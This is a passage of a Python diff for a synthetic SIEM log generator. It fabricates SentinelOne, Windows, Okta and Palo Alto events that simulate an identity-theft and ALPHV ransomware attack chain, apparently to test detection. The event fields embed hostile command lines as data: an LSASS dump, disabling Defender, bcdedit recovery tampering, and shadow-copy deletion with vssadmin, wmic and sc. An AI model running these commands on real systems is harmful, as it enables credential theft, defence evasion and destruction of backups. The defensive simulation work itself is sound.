C:\\Temp\\lsass.dmp full", + "src.process.parent.name": "cmd.exe", + "src.process.indicatorInfostealerCount": 2, + "src.process.indicatorPostExploitationCount": 1, + "src.process.crossProcessOpenProcessCount": 3, + "indicator.category": "Credentials", + "indicator.name": "LSASS Memory Dump", + "indicator.description": "Credential dumping via comsvcs.dll MiniDump of LSASS process", + }) + events.append(create_event(t1, "sentinelone_endpoint", "privilege_abuse", s1_cred)) + + # Windows Security 4672 – special privileges assigned to new logon + t2 = get_scenario_time(base_time, 31) + wel_priv = _build_wel_event( + event_id=4672, + description="Special privileges assigned to new logon.", + user=VICTIM_PROFILE["username"], + domain=VICTIM_PROFILE["domain"], + computer=VICTIM_PROFILE["hostname_secondary"], + privileges="SeDebugPrivilege, SeImpersonatePrivilege, SeTcbPrivilege", + ) + events.append(create_event(t2, "microsoft_windows_eventlog", "privilege_abuse", wel_priv)) + + # Okta – admin role assignment + t3 = get_scenario_time(base_time, 33) + okta_priv = { + "uuid": str(uuid.uuid4()), + "published": t3, + "eventType": "user.account.privilege.grant", + "version": "0", + "severity": "WARN", + "legacyEventType": "user.account.privilege.grant", + "displayMessage": f"Admin role granted to {VICTIM_PROFILE['email']}", + "actor": { + "id": VICTIM_PROFILE["okta_user_id"], + "type": "User", + "alternateId": VICTIM_PROFILE["email"], + "displayName": VICTIM_PROFILE["name"], + }, + "client": { + "userAgent": { + "rawUserAgent": ATTACKER_PROFILE["stolen_token_user_agent"], + "os": {"family": "Windows"}, + "browser": {"family": "Chrome"}, + }, + "zone": "PUBLIC", + "device": "Computer", + "ipAddress": ATTACKER_PROFILE["attacker_ip"], + "geographicalContext": { + "city": ATTACKER_PROFILE["attacker_city"], + "state": "", + "country": ATTACKER_PROFILE["attacker_country"], + "postalCode": "", + "geolocation": {"lat": 47.0105, "lon": 28.8638}, + }, + }, + "outcome": {"result": "SUCCESS", "reason": "Privilege escalation via admin role grant"}, + "target": [ + { + "id": VICTIM_PROFILE["okta_user_id"], + "type": "User", + "alternateId": VICTIM_PROFILE["email"], + "displayName": VICTIM_PROFILE["name"], + }, + { + "id": str(uuid.uuid4()), + "type": "Role", + "alternateId": "SUPER_ADMIN", + "displayName": "Super Administrator", + }, + ], + "transaction": {"type": "WEB", "id": str(uuid.uuid4())}, + "debugContext": { + "debugData": { + "requestId": str(uuid.uuid4()), + "requestUri": "/api/v1/users/{userId}/roles", + "threatSuspected": "true", + } + }, + "authenticationContext": { + "authenticationStep": 0, + "externalSessionId": str(uuid.uuid4()), + "rootSessionId": str(uuid.uuid4()), + }, + "securityContext": { + "asNumber": 44477, + "asOrg": ATTACKER_PROFILE["attacker_isp"], + "isp": ATTACKER_PROFILE["attacker_isp"], + "domain": "starkglobal.net", + "isProxy": True, + }, + } + events.append(create_event(t3, "okta_authentication", "privilege_abuse", json.dumps(okta_priv))) + + return events + +# --------------------------------------------------------------------------- +# Phase 5 – Ransomware Preparation (Step 10) +# --------------------------------------------------------------------------- + +def generate_step10_ransomware_staging(base_time: datetime) -> List[Dict]: + """Step 10: SentinelOne – ALPHV/BlackCat ransomware staging on HOST-01. + + The intrusion stages ALPHV: drops the Rust-based binary disguised as + svchost_update.exe, drops an encrypted config (desktop.dat), disables + Defender via PowerShell (Set-MpPreference), and pre-positions bcdedit + to inhibit recovery. + """ + events = [] + + # 10a – Ransomware binary dropped (masquerading as svchost update) + t1 = get_scenario_time(base_time, 40) + s1_file = sentinelone_endpoint_log({ + "event.type": "File Creation", + "event.time": ts_ns(base_time, 40), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": ATTACKER_PROFILE["screenconnect_binary"], + "tgt.file.path": f"C:\\Windows\\Temp\\{ATTACKER_PROFILE['ransomware_binary']}", + "tgt.file.size": 3145728, + "src.process.indicatorPersistenceCount": 1, + "src.process.indicatorRansomwareCount": 1, + "indicator.category": "Malware", + "indicator.name": "ALPHV/BlackCat Ransomware Binary", + "indicator.description": f"Rust-based ALPHV payload dropped as {ATTACKER_PROFILE['ransomware_binary']} via ScreenConnect session", + }) + events.append(create_event(t1, "sentinelone_endpoint", "ransomware_preparation", s1_file)) + + # 10b – Encrypted ALPHV config file dropped alongside binary + t1b = get_scenario_time(base_time, 40, 10) + s1_config = sentinelone_endpoint_log({ + "event.type": "File Creation", + "event.time": ts_ns(base_time, 40, 10), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": ATTACKER_PROFILE["screenconnect_binary"], + "tgt.file.path": f"C:\\Windows\\Temp\\{ATTACKER_PROFILE['ransomware_config']}", + "tgt.file.size": 8192, + }) + events.append(create_event(t1b, "sentinelone_endpoint", "ransomware_preparation", s1_config)) + + # 10c – Defender disabled via PowerShell Set-MpPreference + t2 = get_scenario_time(base_time, 41) + s1_defender = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 41), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": "powershell.exe", + "src.process.cmdline": "powershell.exe -NoProfile -c \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true\"", + "src.process.parent.name": ATTACKER_PROFILE["screenconnect_binary"], + "src.process.indicatorEvasionCount": 4, + "src.process.indicatorGeneralCount": 2, + "indicator.category": "DefenseEvasion", + "indicator.name": "Defender Real-Time Protection Disabled", + "indicator.description": "Windows Defender protections disabled via Set-MpPreference before ransomware execution", + }) + events.append(create_event(t2, "sentinelone_endpoint", "ransomware_preparation", s1_defender)) + + # 10d – bcdedit disables Windows recovery + t3 = get_scenario_time(base_time, 42) + s1_bcd = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 42), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": "bcdedit.exe", + "src.process.cmdline": "bcdedit.exe /set {default} recoveryenabled No", + "src.process.parent.name": ATTACKER_PROFILE["screenconnect_binary"], + "src.process.indicatorRansomwareCount": 2, + "src.process.indicatorEvasionCount": 1, + "indicator.category": "Impact", + "indicator.name": "Boot Recovery Disabled", + "indicator.description": "Recovery environment disabled via bcdedit – ransomware pre-staging", + }) + events.append(create_event(t3, "sentinelone_endpoint", "ransomware_preparation", s1_bcd)) + + return events + +# --------------------------------------------------------------------------- +# Phase 6 – Ransomware Execution / Impact (Steps 11-12) +# --------------------------------------------------------------------------- + +def generate_step11_ransomware_execution(base_time: datetime) -> List[Dict]: + """Step 11: SentinelOne – ALPHV/BlackCat ransomware detection on HOST-01. + + ALPHV is Rust-based and uses --access-token for per-victim config unlock. + Files are encrypted with a random 7-char extension and a per-directory + ransom note is dropped. + """ + events = [] + + ext = ATTACKER_PROFILE["ransomware_extension"] + + # 11a – ALPHV binary execution with access token + t = get_scenario_time(base_time, 50) + s1_ransom = sentinelone_endpoint_log({ + "event.type": "Malware Detection", + "event.time": ts_ns(base_time, 50), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": ATTACKER_PROFILE["ransomware_binary"], + "src.process.cmdline": ( + f"C:\\Windows\\Temp\\{ATTACKER_PROFILE['ransomware_binary']} " + f"--access-token 7f3a2d1e9c --config C:\\Windows\\Temp\\{ATTACKER_PROFILE['ransomware_config']} " + f"--paths C:\\Users --ext {ext} --log C:\\Windows\\Temp\\enc.log" + ), + "src.process.image.path": f"C:\\Windows\\Temp\\{ATTACKER_PROFILE['ransomware_binary']}", + "src.process.image.sha256": ATTACKER_PROFILE["ransomware_sha256"], + "src.process.indicatorRansomwareCount": 5, + "src.process.indicatorEvasionCount": 3, + "src.process.indicatorPersistenceCount": 2, + "src.process.indicatorPostExploitationCount": 2, + "indicator.category": "Malware", + "indicator.name": f"{ATTACKER_PROFILE['ransomware_family']} Ransomware", + "indicator.description": f"High-fidelity ransomware detection: {ATTACKER_PROFILE['ransomware_family']} Rust-based encryptor with T1486 mapping", + "indicator.metadata": json.dumps({ + "threat_type": "Ransomware", + "family": ATTACKER_PROFILE["ransomware_family"], + "confidence": 98, + "action": "Kill", + "mitre_technique": "T1486", + }), + }) + events.append(create_event(t, "sentinelone_endpoint", "ransomware_execution", s1_ransom)) + + # 11b – File encryption: realistic business documents encrypted with ALPHV extension + target_files = [ + ("C:\\Users\\Shared\\Finance", "FY2026_Q1_Revenue_Forecast.xlsx"), + ("C:\\Users\\Shared\\Finance", "AP_Aging_Report_March2026.pdf"), + ("C:\\Users\\Shared\\HR", "Employee_Compensation_Database.accdb"), + ("C:\\Users\\Shared\\Engineering", "Architecture_Diagrams_v4.2.vsdx"), + (f"C:\\Users\\{VICTIM_PROFILE['username']}\\Documents", "Incident_Response_Runbook.docx"), + (f"C:\\Users\\{VICTIM_PROFILE['username']}\\Desktop", "VPN_Config_Backup.zip"), + ] + for i, (directory, file_name) in enumerate(target_files): + t_enc = get_scenario_time(base_time, 50, 10 + i * 4) + s1_file = sentinelone_endpoint_log({ + "event.type": "File Rename", + "event.time": ts_ns(base_time, 50, 10 + i * 4), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": ATTACKER_PROFILE["ransomware_binary"], + "tgt.file.path": f"{directory}\\{file_name}{ext}", + "tgt.file.oldPath": f"{directory}\\{file_name}", + "tgt.file.size": random.randint(102400, 52428800), + }) + events.append(create_event(t_enc, "sentinelone_endpoint", "ransomware_execution", s1_file)) + + # 11c – Ransom note dropped in each encrypted directory + t_note = get_scenario_time(base_time, 50, 40) + s1_note = sentinelone_endpoint_log({ + "event.type": "File Creation", + "event.time": ts_ns(base_time, 50, 40), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": ATTACKER_PROFILE["ransomware_binary"], + "tgt.file.path": f"C:\\Users\\Shared\\Finance\\{ATTACKER_PROFILE['ransom_note']}", + "tgt.file.size": 4096, + }) + events.append(create_event(t_note, "sentinelone_endpoint", "ransomware_execution", s1_note)) + + return events + +def generate_step12_vss_deletion(base_time: datetime) -> List[Dict]: + """Step 12: SentinelOne + WEL – VSS deletion and backup artifact removal. + + ALPHV/BlackCat spawns child processes for shadow copy deletion. + Parent is the ransomware binary (svchost_update.exe). + """ + events = [] + + ransomware_cmdline = ( + f"C:\\Windows\\Temp\\{ATTACKER_PROFILE['ransomware_binary']} " + f"--access-token 7f3a2d1e9c --config C:\\Windows\\Temp\\{ATTACKER_PROFILE['ransomware_config']}" + ) + + # 12a – vssadmin delete shadows + t1 = get_scenario_time(base_time, 52) + s1_vss = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 52), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": "vssadmin.exe", + "src.process.cmdline": "vssadmin.exe delete shadows /all /quiet", + "src.process.parent.name": ATTACKER_PROFILE["ransomware_binary"], + "src.process.parent.cmdline": ransomware_cmdline, + "src.process.indicatorRansomwareCount": 3, + "indicator.category": "Impact", + "indicator.name": "Volume Shadow Copy Deletion", + "indicator.description": "vssadmin used to delete all shadow copies – T1490 Inhibit System Recovery", + }) + events.append(create_event(t1, "sentinelone_endpoint", "ransomware_impact", s1_vss)) + + # 12b – wmic shadowcopy delete (redundant deletion method) + t2 = get_scenario_time(base_time, 52, 15) + s1_wmic = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 52, 15), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": "wmic.exe", + "src.process.cmdline": "wmic shadowcopy delete", + "src.process.parent.name": ATTACKER_PROFILE["ransomware_binary"], + "src.process.parent.cmdline": ransomware_cmdline, + "src.process.indicatorRansomwareCount": 2, + }) + events.append(create_event(t2, "sentinelone_endpoint", "ransomware_impact", s1_wmic)) + + # 12c – sc stop VSS service + t3 = get_scenario_time(base_time, 52, 30) + s1_sc = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 52, 30), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": "sc.exe", + "src.process.cmdline": "sc.exe config VSS start= disabled", + "src.process.parent.name": ATTACKER_PROFILE["ransomware_binary"], + "src.process.parent.cmdline": ransomware_cmdline, + }) + events.append(create_event(t3, "sentinelone_endpoint", "ransomware_impact", s1_sc)) + + # 12d – Windows Security 7036: VSS service stopped + t4 = get_scenario_time(base_time, 52, 35) + wel_svc = _build_wel_event( + event_id=7036, + description="The Volume Shadow Copy service entered the stopped state.", + user="SYSTEM", + domain="NT AUTHORITY", + computer=VICTIM_PROFILE["hostname_secondary"], + service_name="Volume Shadow Copy", + service_state="stopped", + ) + events.append(create_event(t4, "microsoft_windows_eventlog", "ransomware_impact", wel_svc)) + + # 12e – bcdedit ignore all boot failures (prevents safe-mode recovery) + t5 = get_scenario_time(base_time, 53) + s1_bcd = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 53), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": "bcdedit.exe", + "src.process.cmdline": "bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures", + "src.process.parent.name": ATTACKER_PROFILE["ransomware_binary"], + "src.process.parent.cmdline": ransomware_cmdline, + "src.process.indicatorRansomwareCount": 1, + "indicator.category": "Impact", + "indicator.name": "Boot Recovery Policy Tampered", + "indicator.description": "bcdedit set to ignore all boot failures – prevents safe-mode recovery", + }) + events.append(create_event(t5, "sentinelone_endpoint", "ransomware_impact", s1_bcd)) + + return events + +# --------------------------------------------------------------------------- +# Private helpers for building raw Palo Alto and WEL events +# --------------------------------------------------------------------------- + +def _build_paloalto_c2_traffic( + base_time: datetime, + minutes_offset: int, + src_ip: str, + dst_ip: str, + dst_port: int, + app: str = "ssl", + action: str = "allow", + category: str = "malware", +) -> str: + """Build a deterministic Palo Alto TRAFFIC CSV line for C2 connection.""" + now = base_time + timedelta(minutes=minutes_offset) + ts_str = now.strftime("%Y/%m/%d %H:%M:%S") + src_port = random.randint(49152, 65535) + session_id = str(random.randint(100000, 999999)) + serial = f"{random.randint(100000000000000, 999999999999999)}" + + fields = [ + "", # future_use_1 + ts_str, # receive_time + serial, # serial_number + "TRAFFIC", # type + "end", # subtype + "", # future_use_2 + ts_str, # time_generated + src_ip, # src + dst_ip, # dst + src_ip, # natsrc + dst_ip, # natdst + f"{action}-{app}", # rule + f"{VICTIM_PROFILE['domain']}\\{VICTIM_PROFILE['username']}", # srcuser + "", # dstuser + app, # app + "vsys1", # vsys + "trust", # from + "untrust", # to + "ethernet1/1", # inbound_if + "ethernet1/2", # outbound_if + "FORWARD", # logset + "", # future_use_3 + session_id, # sessionid + "1", # repeatcnt + str(src_port), # sport + str(dst_port), # dport + str(src_port), # natsport + str(dst_port), # natdport + "0x0", # flags + "tcp", # proto + action, # action + str(random.randint(5000, 50000)), # bytes + str(random.randint(2000, 25000)), # bytes_sent + str(random.randint(2000, 25000)), # bytes_received + str(random.randint(50, 500)), # packets + ts_str, # start + str(random.randint(1, 120)), # elapsed + category, # category + "", # future_use_4 + str(random.randint(1, 1000000)), # seqno + "0x0", # actionflags + "US", # srcloc + "MD", # dstloc + "", # future_use_5 + str(random.randint(25, 250)), # pkts_sent + str(random.randint(25, 250)), # pkts_received + "aged-out", # session_end_reason + ] + + expected_fields = 115 + if len(fields) < expected_fields: + fields.extend([""] * (expected_fields - len(fields))) + + return ",".join(fields) + +def _build_paloalto_c2_threat( + base_time: datetime, + minutes_offset: int, + src_ip: str, + dst_ip: str, + dst_port: int, + threat_category: str = "command-and-control", + severity: str = "critical", +) -> str: + """Build a deterministic Palo Alto THREAT CSV line for C2 detection.""" + now = base_time + timedelta(minutes=minutes_offset) + ts_str = now.strftime("%Y/%m/%d %H:%M:%S") + src_port = random.randint(49152, 65535) + session_id = str(random.randint(100000, 999999)) + serial = f"{random.randint(100000000000000, 999999999999999)}" + + fields = [ + "", # future_use_1 + ts_str, # receive_time + serial, # serial_number + "THREAT", # type + "spyware", # subtype + "", # future_use_2 + ts_str, # time_generated + src_ip, # src + dst_ip, # dst + src_ip, # natsrc + dst_ip, # natdst + "block-threats", # rule + f"{VICTIM_PROFILE['domain']}\\{VICTIM_PROFILE['username']}", # srcuser + "", # dstuser + "ssl", # app + "vsys1", # vsys + "trust", # from + "untrust", # to + "ethernet1/1", # inbound_if + "ethernet1/2", # outbound_if + "FORWARD", # logset + "", # future_use_3 + session_id, # sessionid + "1", # repeatcnt + str(src_port), # sport + str(dst_port), # dport + str(src_port), # natsport + str(dst_port), # natdport + "0x80000000", # flags + "tcp", # proto + "alert", # action + "(99999)", # threat/content name + threat_category, # category + severity, # severity + "client-to-server", # direction + str(random.randint(1, 1000000)), # seqno + "0x0", # actionflags + "US", # srcloc + "MD", # dstloc + "", # future_use_5 + "", # contenttype + "", # pcap_id + "", # filedigest + "", # cloud + "", # url_idx + ATTACKER_PROFILE["stolen_token_user_agent"], # user_agent + "", # filetype + "", # xff + "", # referer + "", # sender + "", # subject + "", # recipient + "", # reportid + ] + + expected_fields = 120 + if len(fields) < expected_fields: + fields.extend([""] * (expected_fields - len(fields))) + + return ",".join(fields) + +def _build_wel_event( + event_id: int, + description: str, + user: str, + domain: str, + computer: str, + object_name: str = "", + process_name: str = "", + access_mask: str = "", + privileges: str = "", + service_name: str = "", + service_state: str = "", +) -> str: + """Build an escaped Windows Event Log string matching parser format.""" + security_id = f"S-1-5-21-{random.randint(100000000, 999999999)}-{random.randint(100000000, 999999999)}-{random.randint(100000000, 999999999)}-{random.randint(1000, 9999)}" + logon_id = f"0x{random.randint(100000, 999999):x}" + + text = f"{description}\\r\\n\\r\\n" + text += "Subject:\\r\\n" + text += f"\\tSecurity ID:\\t\\t{security_id}\\r\\n" + text += f"\\tAccount Name:\\t\\t{user}\\r\\n" + text += f"\\tAccount Domain:\\t\\t{domain}\\r\\n" + text += f"\\tLogon ID:\\t\\t{logon_id}\\r\\n\\r\\n" + + if object_name: + text += "Object:\\r\\n" + text += f"\\tObject Name:\\t\\t{object_name}\\r\\n" + if process_name: + text += f"\\tProcess Name:\\t\\t{process_name}\\r\\n" + if access_mask: + text += f"\\tAccess Mask:\\t\\t{access_mask}\\r\\n" + text += "\\r\\n" + + if privileges: + text += "Privileges:\\r\\n" + text += f"\\t{privileges}\\r\\n\\r\\n" + + if service_name: + text += f"Service Name:\\t{service_name}\\r\\n" + text += f"Service State:\\t{service_state}\\r\\n" + + return text + +# --------------------------------------------------------------------------- +# Orchestrator +# --------------------------------------------------------------------------- + +def generate_identity_theft_ransomware_scenario( + siem_context: Optional[Dict] = None, + include_helios_prefix: Optional[bool] = None, +) -> Dict: + """Generate the complete Cross-Platform Identity Theft & Ransomware scenario. + + Returns a scenario dict with all events sorted chronologically. + """ + + if include_helios_prefix is None: + include_helios_prefix = os.getenv('SCENARIO_INCLUDE_HELIOS_PREFIX', 'false').lower() == 'true' + + # Determine base time + if siem_context and siem_context.get("anchors"): + pre_resolved = siem_context["anchors"] + if "credential_theft_start" in pre_resolved: + ts = pre_resolved["credential_theft_start"] + if isinstance(ts, dict): + ts = ts.get("timestamp", ts) + if isinstance(ts, str): + base_time = datetime.fromisoformat(ts.replace("Z", "+00:00")) + else: + base_time = ts + else: + base_time = datetime.now(timezone.utc).replace(hour=10, minute=0, second=0, microsecond=0) + else: + base_time = datetime.now(timezone.utc).replace(hour=10, minute=0, second=0, microsecond=0) + + print("\n" + "=" * 80) + print("🕷️ CROSS-PLATFORM IDENTITY THEFT & RANSOMWARE") + print("=" * 80) + print(f"Target: {VICTIM_PROFILE['name']} ({VICTIM_PROFILE['email']})") + print(f"Department: {VICTIM_PROFILE['department']}") + print(f"Hosts: {VICTIM_PROFILE['hostname']} → {VICTIM_PROFILE['hostname_secondary']}") + print(f"Domain: {VICTIM_PROFILE['domain']}") + print(f"Base Time: {base_time.isoformat()}") + print("=" * 80 + "\n") + + alerts_enabled = os.getenv('SCENARIO_ALERTS_ENABLED', 'false').lower() == 'true' + uam_config = None + alert_results: List[Dict] = [] + if alerts_enabled: + uam_ingest_url = os.getenv('UAM_INGEST_URL', '') + uam_account_id = os.getenv('UAM_ACCOUNT_ID', '') + uam_service_token = os.getenv('UAM_SERVICE_TOKEN', '') + uam_site_id = os.getenv('UAM_SITE_ID', '') + + if uam_ingest_url and uam_account_id and uam_service_token: + uam_config = { + 'uam_ingest_url': uam_ingest_url, + 'uam_account_id': uam_account_id, + 'uam_service_token': uam_service_token, + 'uam_site_id': uam_site_id, + } + print("\n ALERT DETONATION ENABLED") + print(f" UAM Ingest: {uam_ingest_url}") + print(f" Account ID: {uam_account_id}") + if uam_site_id: + print(f" Site ID: {uam_site_id}") + if include_helios_prefix: + print(f" Include HELIOS prefix: Yes") + print("=" * 80) + else: + print(" SCENARIO_ALERTS_ENABLED=true but UAM credentials missing") + alerts_enabled = False + + all_events: List[Dict] = [] + + phases = [ + ("🔑 PHASE 1 – Initial Access / Credential Theft", [ + ("Step 1: Browser/Token Dumping (EDR + WEL)", generate_step1_credential_dumping), + ("Step 2: Stolen Refresh Token Redeemed (Okta)", generate_step2_token_redeem), + ("Step 3: OAuth Consent Grant (Okta)", generate_step3_oauth_grant), + ("Step 4: Impossible Travel / Anomalous Sign-In (Okta)", generate_step4_impossible_travel), + ("Step 5: Persistent Session / New Device (Okta)", generate_step5_persistent_session), + ]), + ("📡 PHASE 2 – Command & Control", [ + ("Step 6: Primary C2 Connection (EDR + PAN)", generate_step6_c2_primary), + ("Step 7: Secondary C2 Connections (EDR + PAN)", generate_step7_c2_secondary), + ]), + ("🔍 PHASE 3 – Endpoint Discovery & Staging", [ + ("Step 8: Discovery Commands / LOLBins (EDR)", generate_step8_discovery), + ]), + ("⚡ PHASE 4 – Credential & Privilege Abuse", [ + ("Step 9: LSASS Dump + Admin Role Grant (EDR + Okta)", generate_step9_privilege_escalation), + ]), + ("💣 PHASE 5 – Ransomware Preparation", [ + ("Step 10: Payload Staging + Defense Evasion (EDR)", generate_step10_ransomware_staging), + ]), + ("🔥 PHASE 6 – Ransomware Execution / Impact", [ + ("Step 11: Ransomware Detection + Encryption (EDR)", generate_step11_ransomware_execution), + ("Step 12: VSS Deletion + Recovery Inhibition (EDR + WEL)", generate_step12_vss_deletion), + ]), + ] + + for phase_name, steps in phases: + print(f"\n{phase_name}") + print("-" * 80) + for step_desc, generator_func in steps: + step_events = generator_func(base_time) + all_events.extend(step_events) + print(f" {step_desc} → {len(step_events)} events") + + if alerts_enabled and uam_config and phase_name in ALERT_PHASE_MAPPING: + print(f" ALERT DETONATION ENABLED") + success = send_phase_alert( + phase_name, + base_time, + uam_config, + include_helios_prefix=include_helios_prefix, + ) + alert_results.append({"phase": phase_name, "success": success}) + print(f"{' ' if success else ' '}") + + all_events.sort(key=lambda x: x["timestamp"]) + + # Build summary + source_counts = {} + phase_counts = {} + for e in all_events: + src = e["source"] + ph = e["phase"] + source_counts[src] = source_counts.get(src, 0) + 1 + phase_counts[ph] = phase_counts.get(ph, 0) + 1 + + scenario = { + "scenario_id": f"identity-theft-ransomware-{datetime.now().strftime('%Y%m%d-%H%M%S')}", + "scenario_name": "Cross-Platform Identity Theft & Ransomware", + "description": CORRELATION_CONFIG["description"], + "generated_at": datetime.now(timezone.utc).isoformat(), + "timeline_start": base_time.isoformat(), + "total_events": len(all_events), + "correlation_details": { + "victim_email": VICTIM_PROFILE["email"], + "victim_username": VICTIM_PROFILE["username"], + "victim_domain": VICTIM_PROFILE["domain"], + "hostname_initial": VICTIM_PROFILE["hostname"], + "hostname_secondary": VICTIM_PROFILE["hostname_secondary"], + "c2_primary": ATTACKER_PROFILE["c2_ip_primary"], + "c2_secondary": ATTACKER_PROFILE["c2_ip_secondary"], + "ransomware": ATTACKER_PROFILE["ransomware_binary"], + "ransomware_sha256": ATTACKER_PROFILE["ransomware_sha256"], + "attacker_ip": ATTACKER_PROFILE["attacker_ip"], + }, + "full_attack_chain": [ + {"phase": "Initial Access – Credential Theft", "step": 1, "log_source": "SentinelOne EDR + Windows Security", "event_type": "ProcessCreate / CredentialDumping", "description": f"esentutl.exe LOLBin copies Chrome Login Data & Cookies, PyInstaller stealer ({ATTACKER_PROFILE['credential_stealer_compiled']}) extracts OAuth refresh tokens on {VICTIM_PROFILE['hostname']}", "generated": True}, + {"phase": "Initial Access – Credential Theft", "step": 2, "log_source": "Okta", "event_type": "RefreshTokenRedeem / NonInteractiveSignIn", "description": f"Stolen refresh token for {VICTIM_PROFILE['email']} redeemed from {ATTACKER_PROFILE['attacker_ip']} ({ATTACKER_PROFILE['attacker_country']}) – no MFA challenge", "generated": True}, + {"phase": "Initial Access – Identity", "step": 3, "log_source": "Okta", "event_type": "OAuth2Grant", "description": f"OAuth consent grant for Mail.Read, Mail.ReadWrite, Calendars.Read scopes for {VICTIM_PROFILE['email']}", "generated": True}, + {"phase": "Initial Access – Identity", "step": 4, "log_source": "Okta", "event_type": "SignInRisk / ImpossibleTravel", "description": f"Impossible travel + New ASN + Unfamiliar Client detected for {VICTIM_PROFILE['email']} from {ATTACKER_PROFILE['attacker_city']}, {ATTACKER_PROFILE['attacker_country']}", "generated": True}, + {"phase": "Initial Access – Identity", "step": 5, "log_source": "Okta", "event_type": "NewDeviceRegistered / PersistentSession", "description": f"New device {ATTACKER_PROFILE['new_device_name']} enrolled (looks like IT dept), persistent session created without MFA", "generated": True}, + {"phase": "Command & Control", "step": 6, "log_source": "Palo Alto + SentinelOne", "event_type": "RemoteAccess / NetworkConnection", "description": f"ScreenConnect silently installed via msiexec, service connects to {ATTACKER_PROFILE['c2_domain_primary']}:{ATTACKER_PROFILE['c2_port']}", "generated": True}, + {"phase": "Command & Control", "step": 7, "log_source": "Palo Alto + SentinelOne", "event_type": "RemoteAccess / NetworkConnection", "description": f"ngrok reverse tunnel to {ATTACKER_PROFILE['c2_ip_secondary']}:{ATTACKER_PROFILE['c2_port_secondary']} + AnyDesk installed silently as backup C2", "generated": True}, + {"phase": "Endpoint Discovery & Staging", "step": 8, "log_source": "SentinelOne EDR", "event_type": "ProcessCreate / ScriptExecution", "description": f"SharpHound (BloodHound), ADRecon, csvde, net group, nltest via ScreenConnect shell on {VICTIM_PROFILE['hostname_secondary']}", "generated": True}, + {"phase": "Credential & Privilege Abuse", "step": 9, "log_source": "SentinelOne EDR + Okta", "event_type": "ProcessCreate / PrivEscalation", "description": f"LSASS dump via comsvcs.dll MiniDump + Okta SUPER_ADMIN role granted to {VICTIM_PROFILE['email']}", "generated": True}, + {"phase": "Ransomware Preparation", "step": 10, "log_source": "SentinelOne EDR", "event_type": "FileCreation / DefenseEvasion", "description": f"{ATTACKER_PROFILE['ransomware_family']} binary ({ATTACKER_PROFILE['ransomware_binary']}) + config staged, Defender disabled via Set-MpPreference, boot recovery disabled", "generated": True}, + {"phase": "Ransomware Execution / Impact", "step": 11, "log_source": "SentinelOne EDR", "event_type": "RansomwareDetection", "description": f"{ATTACKER_PROFILE['ransomware_family']} executed with --access-token, files encrypted with {ATTACKER_PROFILE['ransomware_extension']}, ransom notes ({ATTACKER_PROFILE['ransom_note']}) dropped on {VICTIM_PROFILE['hostname_secondary']}", "generated": True}, + {"phase": "Ransomware Execution / Impact", "step": 12, "log_source": "SentinelOne EDR + Windows Security", "event_type": "ServiceControl / VSSDelete", "description": f"VSS deleted (vssadmin + wmic), service disabled (sc.exe), boot policy set to ignoreallfailures on {VICTIM_PROFILE['hostname_secondary']}", "generated": True}, + ], + "generated_phases": [ + {"name": phase_name, "events": count} + for phase_name, count in phase_counts.items() + ], + "alerts": { + "enabled": alerts_enabled, + "sent": len([a for a in alert_results if a["success"]]), + "failed": len([a for a in alert_results if not a["success"]]), + "results": alert_results, + }, + "source_breakdown": source_counts, + "mitre_techniques": [ + "T1539 – Steal Web Session Cookie", + "T1550.001 – Use Alternate Authentication Material: Application Access Token", + "T1078 – Valid Accounts", + "T1219 – Remote Access Software (ScreenConnect, AnyDesk, ngrok)", + "T1218 – System Binary Proxy Execution (esentutl.exe)", + "T1059.001 – Command and Scripting Interpreter: PowerShell", + "T1003.001 – OS Credential Dumping: LSASS Memory", + "T1069.002 – Permission Groups Discovery: Domain Groups", + "T1018 – Remote System Discovery", + "T1087.002 – Account Discovery: Domain Account (SharpHound, ADRecon)", + "T1486 – Data Encrypted for Impact", + "T1490 – Inhibit System Recovery", + "T1562.001 – Impair Defenses: Disable or Modify Tools", + ], + "events": all_events, + } + + print("\n" + "=" * 80) + print("📊 SCENARIO SUMMARY") + print("=" * 80) + print(f"Total Events: {len(all_events)}") + for src, cnt in source_counts.items(): + print(f" - {src}: {cnt}") + print(f"Timeline: {base_time.isoformat()} → ~{(base_time + timedelta(minutes=55)).isoformat()}") + print("=" * 80) + + return scenario + + +# --------------------------------------------------------------------------- +# CLI entry point +# --------------------------------------------------------------------------- + +if __name__ == "__main__": + scenario = generate_identity_theft_ransomware_scenario() + + preferred_dir = os.environ.get("SCENARIO_OUTPUT_DIR") or os.path.join(os.path.dirname(__file__), "configs") + output_file = os.path.join(preferred_dir, "identity_theft_ransomware.json") + + def _attempt_save(path: str) -> bool: + try: + os.makedirs(os.path.dirname(path), exist_ok=True) + with open(path, "w") as f: + json.dump(scenario, f, indent=2) + print(f"\n💾 Scenario saved to: {path}") + print(f" Events: {scenario['total_events']}") + print("\nTo replay this scenario, use the scenario_hec_sender.py script:") + print(f" python scenario_hec_sender.py --scenario {path} --auto --preserve-timestamps") + return True + except OSError as e: + if e.errno == errno.EROFS: + print(f"⚠️ Read-only filesystem: {path}") + else: + 